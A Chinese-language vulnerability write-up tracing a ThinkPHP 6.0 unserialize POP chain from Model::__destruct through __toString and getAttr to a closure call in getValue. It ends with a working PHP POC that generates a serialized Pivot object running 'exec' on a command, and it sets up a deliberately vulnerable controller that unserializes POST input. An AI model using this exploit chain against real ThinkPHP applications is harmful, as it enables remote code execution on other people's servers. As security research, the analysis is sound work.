环境搭建
修改index页面如下
1 2 3 4 5 6 7 8 9 10 11 12
| <?php namespace app\controller; use app\BaseController;
class Index extends BaseController { public function poc() { echo base64_decode($_POST['payload']); unserialize(base64_decode($_POST['payload'])); } }
|
POP链
全局搜索__destruct
,找到Model模块的,满足$this->lazySave == true
条件,进入代码[1]
1 2 3 4 5 6 7 8
|
public function __destruct() { if ($this->lazySave) { $this->save(); } }
|
跟进$this->save()
,满足$this->isEmpty() == false && $this->trigger('BeforeWrite') == true && $this->exists == true
条件,其中isEmpty
判断的是data
是否为空,trigger
函数满足$this->withEvent == false
即可,接着可以进入代码[2]
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
public function save(array $data = [], string $sequence = null): bool { ... if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; } $result = $this->exists ? $this->updateData() : $this->insertData($sequence); ... }
|
1 2 3 4 5 6
|
public function isEmpty(): bool { return empty($this->data); }
|
1 2 3 4 5 6 7 8 9 10
|
protected function trigger(string $event): bool { if (!$this->withEvent) { return true; }
... }
|
跟进$this->updateData()
,满足$this->trigger('BeforeWrite') == true
条件,进入代码[3]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
protected function updateData(): bool { if (false === $this->trigger('BeforeUpdate')) { return false; } $this->checkData();
$data = $this->getChangedData();
if (empty($data)) { if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); }
return true; }
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); $this->data[$this->updateTime] = $data[$this->updateTime]; } $allowFields = $this->checkAllowFields(); ... }
|
跟进$this->getChangedData()
,这里应该使$this->force == true
,直接返回$data,否则会返回其他干扰值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
public function getChangedData(): array { $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) { if ((empty($a) || empty($b)) && $a !== $b) { return 1; }
return is_object($a) || $a != $b ? 1 : 0; }); ...
return $data; }
|
回到上一步,满足empty($data) == false
条件进入代码[4],跟进$this->checkAllowFields()
,满足empty($this->field) == true && empty($this->schema) == true
条件,进入代码[5]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
protected function checkAllowFields(): array { if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table); }
return $this->field; }
... }
|
跟进$this->db()
,代码[6]处参数可控,可以触发__toString()
函数
1 2 3 4 5 6 7 8 9 10 11
|
public function db($scope = []): Query { $query = self::$db->connect($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk);
... }
|
后面POP链与ThinkPHP5.1相同
首先触发Conversion类中的__toString()
方法
1 2 3 4 5 6 7 8 9 10 11
|
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string { return json_encode($this->toArray(), $options); }
public function __toString() { return $this->toJson(); }
|
跟进到$this->toArray()
,最后我们的目标是调用getAttr()
函数,但是代码[9]处的条件会被前面的代码修改,不可控,所以我们只能利用代码[10]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
|
public function toArray(): array { ... foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } ...
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } }
... }
|
跟进$this->getAttr($key)
,我们可以在代码[11]插入任意命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
public function getAttr(string $name) { try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = $this->isRelationAttr($name); $value = null; }
return $this->getValue($name, $value, $relation); }
|
继续跟进$this->getData($name)
,代码[12]那里我们要返回存储在data
的命令参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
public function getData(string $name = null) { if (is_null($name)) { return $this->data; }
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) { return $this->data[$fieldName]; } elseif (array_key_exists($fieldName, $this->relation)) { return $this->relation[$fieldName]; }
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
|
返回上一步继续跟进$this->getValue($name, $value, $relation)
,在这里把代码[14]把存储在withAttr
的命令参数赋值给closure
,代码[15]即可进行RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
protected function getValue(string $name, $value, $relation = false) { $fieldName = $this->getRealFieldName($name); $method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); }
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data); } } ... }
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php namespace think; abstract class Model { private $lazySave = true; private $exists = true; protected $withEvent = false; private $force = true; protected $connection = "mysql"; private $withAttr = ["Tyaoo"=>"exec"]; private $data = ["Tyaoo"=>"calc"]; protected $name; }
namespace think\model; use think\Model; class Pivot extends Model { function __construct() { $this->name = $this; } }
echo base64_encode(serialize(new Pivot()));
|
复现
参考资料
http://pines404.online/2020/01/20/代码审计/ThinkPHP/ThinkPHP6.0.2反序列化链分析/